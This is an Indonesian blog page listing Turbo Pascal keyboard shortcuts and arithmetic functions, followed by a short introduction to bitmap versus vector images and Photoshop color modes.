Keluar dari suatu pilihan

F1

Help

F2

Save

F3

Open

F4

Go to Cursor ( jalankan program hingga ke posisi kursor)

F5

Zoom (memperkecil / memperbesar jendela )

F6

Next

F7

Trace Info ( menjalankan program statement by statement )

F8

Step Over

F9

make ( membuat file .EXE )

F10

mengakses menu turbo pascal

ALT + 0 ( nol )

List ( menampilkan daftar program yang pernah dipanggil )

ALT +F1

Previous topic

ALT +F3

Close

ALT +F5

User Screen ( melihat hasil tampilan di layar )

ALT +F7

Go to Previous

ALT +F8

Go to next

ALT +F9

Compile

ALT +X

Exit

ALT + backspace

Undo

Shift + F1

Index ( bantuan dengan menu abjad )

Shift + F2

Grep ( Untuk menginstalasi tool )

Shift + F6

Previous ( ke program sebelumnnya jika dilayar ada beberapa program )

Shift + Del

Cut

Shift + Ins

Paste

Ctrl + F1

Topic search

Ctrl + F2

Program reset

Ctrl + F3

Call stack

Ctrl + F4

Evaluate / modify

Ctrl + F5

Size / move ( memindah atau mengubah ukuran jendela )

Ctrl + F7

Add watch

Ctrl + F8

Membuat atau menghapus ‘break point’

Ctrl + F9

Run

Ctrl + Ins

Copy

Ctrl + Del

Clear ( menghapus blok )

Short Cut Editor Pascal

Perintah menngakses menu

F10 : Mengakses menu
Ctrl + KS atau F2 : Menyimpan program ke disk
F3 : Memanggil program ke disk
Alt + F3 : Menutup program atau jendela yang sedang aktif

Perintah – perintah memindah kursor

Ctrl + S atau anak panah kiri : memindah kursor satu karakter ke kiri
Ctrl + D atau anak panah kanan : memindah satu karakter ke kanan
Ctrl + A atau anak panah kiri : satu kata ke kiri
Ctrl + F atau Ctrl + Anak panah kanan : Satu kata ke kanan
Ctrl + E atau anak panah atas : satu karakter ke atas
Ctrl + X atau anak panah bawah : satu karakter ke bawah
Ctrl + W : Menggulung satu layer ke atas
Ctrl + Z : menggulung satu layer ke bawah
Ctrl + R atau PgUp : Menggulung satu halaman ke atas
Ctrl + C atau PgDn : Menggulung satu halaman ke bawah

Perintah – perintah Menyisip dan menghapus

Ctrl + V atau Ins : Mematikan / menghidupkan mode insert
Ctrl + N : Menyisip baris
Ctrl + Y : menghapus baris
Ctrl + QY : hapus hingga ke akhir baris
Ctrl + H atau Backspace : Menghapus satu karakter ke kiri
Ctrl + G atau Del : Menghapus satu karakter ke kanan
Ctrl + T menghapus satu kata ke kanan

Mencari dan Mengganti kata
Ctrl + QF : Mencari kata
Ctrl + QA : Mencari dan mengganti kata

Perintah – Perintah Blok

Ctrl + KB : Menandai awal blok
Ctrl + KK : Menandai akhir blok
Ctrl + KT : Menandai sebuah kata
Ctrl + KC : Mengcopy blok
Ctrl + KV : Memindah blok
Ctrl + KY : Menghapus blok
Ctrl + KR : Membaca blok dari disk
Ctrl + KW : Menulis blok ke disk
Ctrl + KH : Menyembunyikan atau memunculkan tanda blok
Ctrl + KP : Mencetak blok ke printer
Ctrl +KI : Menindentasi blok
Ctrl + KU : Meng –unindentasi blok
Ctrl + QB : Memindah kursor ke awal blok
Ctrl + QK : Memindah kursor ke akhir blok
Ctrl + KD : Keluar ke menu
Ctrl + KL : Menandai garis ( mark line )
Ctrl + Ins : Mengcopy blok ke Clipboard
Shift+ Del : Hapus blok dan kirim ( Copy ) ke Cilpboard
Ctrl + Del : Menghapus blok
Shift + Ins : Panggil isi Clipboard



Perintah – Perintah Unit System Golongan Arithmatic di Turbo Pascal

Perintah –perintah berikut ini adalah perintah –perintah yang tidak perlu menggunakan perintah USES pada awal program, lebih tepatnya tidak perlu menggunakan Uses System. Semua perintah yang tergabung dalam Unit System bisa langsung diterjemahkan oleh kompiler turbo pascal. Sebab perintah – perintah yang ada dalan Unit System adalah perintah – perintah utama dalam Turbo Pascal. Tetapi jika anda memasukkan perintah dari unit lain, maka perintah USES harus diberikan pada awal program diikuti nama unit dari perintah yang bersangkutan.

Berikut adalah perintah-perintah Unit System Golongan Arithmatic:

Int :
Perintah untuk mengabaikan angka dibalik koma. Penggunaannya : Int(45,78)=45
Frac:
Mengambil desimal suatu bilangan. Frac(45,78)=0,78 . (Frac=Fraction)
Sqr:
Mencari pangkat 2 dari suatu bilangan. Sqr(3)=9. (Sqr=Square)
Sqrt:
Mencari akar pangkat dua dari suatu bilangan. Sqrt(16)=4. (Sqrt=Square Root)
Exp:
Untuk mencari eksponensial (exponential) dari suatu bilangan. Contoh Exp dari 1 =2,72
Ln:
Mencari logaritma natural dari suatu bilangan. (Ln=logarithma natural).
Pi :
Untuk memasukkan bilangan pi (3,1415926536)
Sin :
Untuk mencari Sinus dari suatu bilangan dalam satuan radian.
Bentuk umumnya adalah: Sin(angka)
Untuk mengkonversi kedalam derajat, maka harus ditambahkan rumus:Sin(Angka/(180/Pi).
Cos:
Untuk mencari Cosinus dari suatu bilangan dalam satuan radian.
Bentuk umumnya adalah : Cos(angka)
Untuk mengkonversi kedalam derajat maka harus ditambahkan rumus:Cos(angka/(180/Pi)
Tan:
Turbo pascal tidak menyediakan perintah untuk mencari tangen dari suatu bilangan. Tetapi dengan perintah Sinus dan Cosinus, maka Tangen dari suatu bilangan dengan dicari dengan rumus : Tan=Sin(angka)/Cos(angka)
Arctan:
Untuk mencari Arctangen dari suatu bilangan.
ArcSin:
Sama dengan Tan, Turbo Pascal tidak menyediakan perintah untuk mencari Arcsinus dari suatu bilangan. Tetapi dengan adanya perintah Arctan, Sqr dan Sqrt, maka ArcSin dari suatu bilangan dapat dicari dengan rumus : ArcSin(x)=ArcTan(x/Sqrt (1-Sqr(x))), dimana x adalah bilangan Real.
ArcCos:
Turbo pascal tidak menyediakan ArcCos.Rumusnya adalah : ArcCos(x)=ArcTan(sqrt(1-sqr(x)) /x), dimana x adalah bilangan Real.
Abs:
Untuk mencari absolut (menghilangkan tanda negatif) dari suatu bilangan.

Mengenal Tipe Image

Pengenalan dasar desain grafis merupakan fondasi awal menguasai aplikasi grafis Dasar-dasar desain grafis, seperti tipe image, mode image, resolusi, atau lainnya, merupakan elemen yang biasa ditemukan pada setiap program aplikasi grafis
Desain grafis mengenal dua tipe image yaitu bitmap/Raster dan vector

  1. Tipe Bitmap/Raster
    Image yang bertipe bitmap merupakan image yang terbentuk dari titik-titik warna/piksel. Titik – titik warna ini jumlahnya bias jutaan atau bahkan milyaran tergantung besar kecilnya resolusi pada image tersebut.
    Bitmap akan terlihat pecah atau kabur apabila ukurannya diperbesar. Hal ini karena pembesaran ukuran bitmap tidak diikuti dengan penambahan piksel pada image tersebut. Dengan kata lain, jumlah piksel tetap sama meskipun ukuran image diperbesar.
  2. Tipe Vektor
    Image tipe vector mempunyai resolusi mandiri, atau vector tidak tergantung pada resolusinya. Vektor dibuat dari kurva yang dibentuk dan diiwarnai. Apabila vector diperbesar ukurannya, tidak akan mempengaruhi kuallitas image tersebut. Sebagai contoh image yang bertipe vector biasa digunakan pada logo, gambar kartun, atau spanduk.

Contoh Program Gambar Vektor

  1. Inkscape
  2. Corel Draw
  3. Adobe Illustrator
  4. Xara X

Contoh Program Gambar Bitmap

  1. Adobe Photoshop
  2. GIMP
  3. Microsoft Paint

bitmap

Mode Warna Gambar Adobe Photoshop

Setiap image mempunyai mode warna tertentu, misalnya RGB, CMYK, Grayscale, atau yang lainnya. Mode warna menentukan pendeskripsian warna dalam image. Sebagai contoh, jika terdapat dua image yang sama, masing – masing image mempunyai mode warna berbeda, tampilan warnanya akan berbeda.

Photoshop mendukung beberapa mode image, diantaranya RGB, CMYK, Grayscale, dan lain – lain. Berikut adalah keterangan dari mode warna yang umum digunakan :

· Mode CMYK, mempunyai empat dasar warna yaitu Cyan, Magenta, Yellow dan Black. Anda dapat melakukan pencampuran keempat dasar warna untuk menghasilkan warna baru. Mode ini biasanya digunakan untuk keperluan cetak.

· Mode warna RGB, mempunyai tiga dasar warna yaitu Red, Green, Blue. Anda dapat melakukan pencampuran ketiga dasar warna untuk menghasilkan warna baru. Mode ini biasa digunakan untuk keperluan on-screen ( ditampilkan pada layar monitor ).

· Mode Grayscale adalah mode warna dengan tingkatan warna abu – abu dan memiliki nilai tingkatan sampai 256 tingkatan warna abu – abu yaitu 0 (hitam ) sampai 255 ( putih ).

· Mode Bitmap merepresentasikan piksel hanya dalam 2 warna, yaitu hitam atau putih.

· Mode Indexed Color biasa digunakan untuk kompresi file. Oleh karena itu image dengan mode ini sering digunakan untuk keperluan web.

Catatan :Mode warna gambar terkait dengan tujuan karya seni dibuat. Pada umumnya jika karya seni dibuat untuk keperluan cetak, maka mode warna yang digunakan adalah CMYK, sedangkan jika karya seni dibuat untuk keperluan tampilan on-screen ( layar monitor ) seperti web, presentasi, maka mode warna yang digunakan adalah RGB. Dan jika karya seni dibuat dalam tampilan tingkatan hitam putih, maka mode warna yang digunakan adalah Grayscale

 

welcome to setsuna F seiei blog.......more about computer blog.............welcome to setsuna F seiei blog..........thanks dah berkunjung^^.........